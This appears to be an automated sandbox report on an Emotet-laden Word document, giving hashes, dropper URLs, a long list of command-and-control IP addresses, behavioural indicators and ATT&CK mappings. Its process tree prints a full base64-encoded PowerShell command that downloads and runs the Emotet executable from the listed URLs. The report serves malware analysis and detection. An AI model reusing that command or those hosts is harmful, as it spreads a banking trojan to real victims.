emotet | dfa783e098a4cf467260e3ab57a3bc428514d2b89f81781fd4a0f2047dc9e3de

General

Target
emotet_e2_dfa783e098a4cf467260e3ab57a3bc428514d2b89f81781fd4a0f2047dc9e3de_2020-08-14__140842._doc.doc
Size 233KB
Sample200814-bkk69vts6x
SHA256 dfa783e098a4cf467260e3ab57a3bc428514d2b89f81781fd4a0f2047dc9e3de
MD5 c5b75c0af074d309c9e74f0349cda139
SHA1 a2ee7f4d3dd07e24b9aced3c015c08c6b8c8054c
SHA512 a8ddccfcf0b3d495c8876b6e03929b4fe66d677d6976c434e5ad5fa6ffdb169535033713663ca26474300f040ba4c4571331fe87fdf37e7d62a957a98ecc2f34
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://synologlogin.com/cgi-bin/ho_iewdm_x99w/
exe.dropper
http://tz005.com/aspnet_client/system_web/upao5_p_i/
exe.dropper
http://nucleokardecistalace.org.br/wp-includes/hnor_qz_n66fskbujg/
exe.dropper
http://m.hepingzyy120.com/mbsz/tg_h9_9tkc5xa2/
exe.dropper
http://identisoft.pt/istore/xz_nf_fql8v7nx/

Extracted

Family

emotet

C2

24.233.112.152:80
69.30.203.214:8080
192.210.135.126:8080
47.144.21.12:443
157.245.99.39:8080
119.198.40.179:80
62.75.141.82:80
181.211.11.242:80
167.86.90.214:8080
95.213.236.64:8080
87.106.139.101:8080
109.74.5.95:8080
142.105.151.124:443
47.146.117.214:80
185.94.252.104:443
2.58.16.85:7080
222.214.218.37:4143
85.105.205.77:8080
190.160.53.126:80
107.185.211.16:80
104.131.11.150:443
189.212.199.126:443
104.131.44.150:8080
201.173.217.124:443
199.101.86.142:8080
121.124.124.40:7080
110.145.77.103:80
168.235.67.138:7080
5.39.91.110:7080
78.24.219.147:8080
37.187.72.193:8080
114.146.222.200:80
47.146.32.175:80
76.27.179.47:80
169.239.182.217:8080
91.211.88.52:7080
41.60.200.34:80
116.203.32.252:8080
153.126.210.205:7080
157.147.76.151:80
74.120.55.163:80
209.141.54.221:8080
67.205.85.243:8080
46.105.131.79:8080
74.208.45.104:8080
180.92.239.110:8080
70.167.215.250:8080
61.19.246.238:443
83.110.223.58:443
109.116.214.124:443
87.106.136.232:8080
97.82.79.83:80
72.12.127.184:443
137.59.187.107:8080
79.98.24.39:8080
139.59.60.244:8080
203.117.253.142:80
104.236.246.93:8080
24.137.76.62:80
165.165.171.160:8080
181.230.116.163:80
93.51.50.171:8080
139.130.242.43:80
85.152.162.105:80
62.138.26.28:8080
152.168.248.128:443
188.83.220.2:443
47.153.182.47:80
203.153.216.189:7080
81.2.235.111:8080
95.179.229.244:8080
183.101.175.193:80
24.43.99.75:80
174.102.48.180:80
173.62.217.22:443
190.55.181.54:443
209.143.35.232:80
103.86.49.11:8080
204.197.146.48:80
200.41.121.90:80
113.160.130.116:8443
83.169.36.251:8080
176.111.60.55:8080
37.139.21.175:8080
24.179.13.119:80
5.196.74.210:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3972	3840	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1640-13-0x0000000002270000-0x000000000227C000-memory.dmp	emotet
behavioral2/memory/1640-13-0x0000000002270000-0x000000000227C000-memory.dmp	emotet
behavioral2/memory/2080-16-0x0000000000610000-0x000000000061C000-memory.dmp	emotet
behavioral2/memory/2080-16-0x0000000000610000-0x000000000061C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
12	3972	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1640	Zwzm.exe
2080	wkscli.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\dsprop\wkscli.exe	Zwzm.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
964	WINWORD.EXE
964	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3972	powersheLL.exe
3972	powersheLL.exe
3972	powersheLL.exe
2080	wkscli.exe
2080	wkscli.exe
2080	wkscli.exe
2080	wkscli.exe
2080	wkscli.exe
2080	wkscli.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3972	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
964	WINWORD.EXE
964	WINWORD.EXE
964	WINWORD.EXE
964	WINWORD.EXE
964	WINWORD.EXE
964	WINWORD.EXE
964	WINWORD.EXE
964	WINWORD.EXE
964	WINWORD.EXE
1640	Zwzm.exe
1640	Zwzm.exe
2080	wkscli.exe
2080	wkscli.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3972 wrote to memory of 1640	3972	powersheLL.exe	73
PID 3972 wrote to memory of 1640	3972	powersheLL.exe	73
PID 3972 wrote to memory of 1640	3972	powersheLL.exe	73
PID 1640 wrote to memory of 2080	1640	Zwzm.exe	74
PID 1640 wrote to memory of 2080	1640	Zwzm.exe	74
PID 1640 wrote to memory of 2080	1640	Zwzm.exe	74

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_dfa783e098a4cf467260e3ab57a3bc428514d2b89f81781fd4a0f2047dc9e3de_2020-08-14__140842._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:964

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABSAGIAegBoAHgAZQB4AD0AJwBOAHkAOQAzADAANABoACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBgAEMAVQByAGkAVABZAGAAcAByAE8AdABPAGMAYABvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABUAHUAbAB6AGMAeQB4ACAAPQAgACcAWgB3AHoAbQAnADsAJABSAHUAdgBhADIAXwBoAD0AJwBOAHgAcABsAG8AdwB3ACcAOwAkAFkAbgA4AGEAYQB2AG8APQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABUAHUAbAB6AGMAeQB4ACsAJwAuAGUAeABlACcAOwAkAEMAdAAzADUAMgBfAHIAPQAnAFEAdwAwADkAbgBtADQAJwA7ACQAVAB4AG8AcAB2AHYAdQA9ACYAKAAnAG4AJwArACcAZQAnACsAJwB3AC0AbwBiAGoAZQBjAHQAJwApACAAbgBFAFQALgB3AEUAQgBjAEwAaQBlAG4AdAA7ACQAUABmADgAMAB1ADUAbQA9ACcAaAB0AHQAcAA6AC8ALwBzAHkAbgBvAGwAbwBnAGwAbwBnAGkAbgAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAGgAbwBfAGkAZQB3AGQAbQBfAHgAOQA5AHcALwAqAGgAdAB0AHAAOgAvAC8AdAB6ADAAMAA1AC4AYwBvAG0ALwBhAHMAcABuAGUAdABfAGMAbABpAGUAbgB0AC8AcwB5AHMAdABlAG0AXwB3AGUAYgAvAHUAcABhAG8ANQBfAHAAXwBpAC8AKgBoAHQAdABwADoALwAvAG4AdQBjAGwAZQBvAGsAYQByAGQAZQBjAGkAcwB0AGEAbABhAGMAZQAuAG8AcgBnAC4AYgByAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AaABuAG8AcgBfAHEAegBfAG4ANgA2AGYAcwBrAGIAdQBqAGcALwAqAGgAdAB0AHAAOgAvAC8AbQAuAGgAZQBwAGkAbgBnAHoAeQB5ADEAMgAwAC4AYwBvAG0ALwBtAGIAcwB6AC8AdABnAF8AaAA5AF8AOQB0AGsAYwA1AHgAYQAyAC8AKgBoAHQAdABwADoALwAvAGkAZABlAG4AdABpAHMAbwBmAHQALgBwAHQALwBpAHMAdABvAHIAZQAvAHgAegBfAG4AZgBfAGYAcQBsADgAdgA3AG4AeAAvACcALgAiAHMAUABMAGAASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARgBxAGMAZQByAHoAcgA9ACcAWQB5AG8AOABpAHgAbwAnADsAZgBvAHIAZQBhAGMAaAAoACQAWgBiAG0AagAwADMAMgAgAGkAbgAgACQAUABmADgAMAB1ADUAbQApAHsAdAByAHkAewAkAFQAeABvAHAAdgB2AHUALgAiAEQAYABvAHcAbgBsAGAAbwBBAEQAZgBgAEkAbABlACIAKAAkAFoAYgBtAGoAMAAzADIALAAgACQAWQBuADgAYQBhAHYAbwApADsAJABGAGsAOABtAGgAeQBxAD0AJwBDAGoAbwBlAGIAagB4ACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQAWQBuADgAYQBhAHYAbwApAC4AIgBMAGUATgBHAGAAVABIACIAIAAtAGcAZQAgADIAMwA0ADMANAApACAAewAuACgAJwBJAG4AdgBvAGsAZQAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACgAJABZAG4AOABhAGEAdgBvACkAOwAkAEkAZQAwAHUAcgBxAG8APQAnAEQAOABkAHYAdgBkAF8AJwA7AGIAcgBlAGEAawA7ACQAUQAyAGMAcQBxADgAdQA9ACcASgBiAGgAbABtAHYAeQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABGAGIAOAB0AHEANAAxAD0AJwBOAGsAYgAyAG4AZABzACcA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3972
- C:\Users\Admin\AppData\Local\Temp\Zwzm.exe
  "C:\Users\Admin\AppData\Local\Temp\Zwzm.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1640
- - C:\Windows\SysWOW64\dsprop\wkscli.exe
    "C:\Windows\SysWOW64\dsprop\wkscli.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2080

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/964-4-0x000002B8C847A000-0x000002B8C847F000-memory.dmp

Download

memory/964-3-0x000002B8C847A000-0x000002B8C847F000-memory.dmp

Download

memory/964-5-0x000002B8C866D000-0x000002B8C8672000-memory.dmp

Download

memory/964-6-0x000002B8C866D000-0x000002B8C8672000-memory.dmp

Download

memory/964-1-0x000002B8C847A000-0x000002B8C847F000-memory.dmp

Download

memory/964-0-0x00007FFED1DF0000-0x00007FFED24B6000-memory.dmp

Download

memory/964-2-0x000002B8C847F000-0x000002B8C8490000-memory.dmp

Download

memory/1640-13-0x0000000002270000-0x000000000227C000-memory.dmp

Download

memory/2080-16-0x0000000000610000-0x000000000061C000-memory.dmp

Download

memory/3972-9-0x0000024D4CCF0000-0x0000024D4CCF1000-memory.dmp

Download

memory/3972-8-0x0000024D4CAE0000-0x0000024D4CAE1000-memory.dmp

Download

memory/3972-7-0x00007FFECA5B0000-0x00007FFECAF9C000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads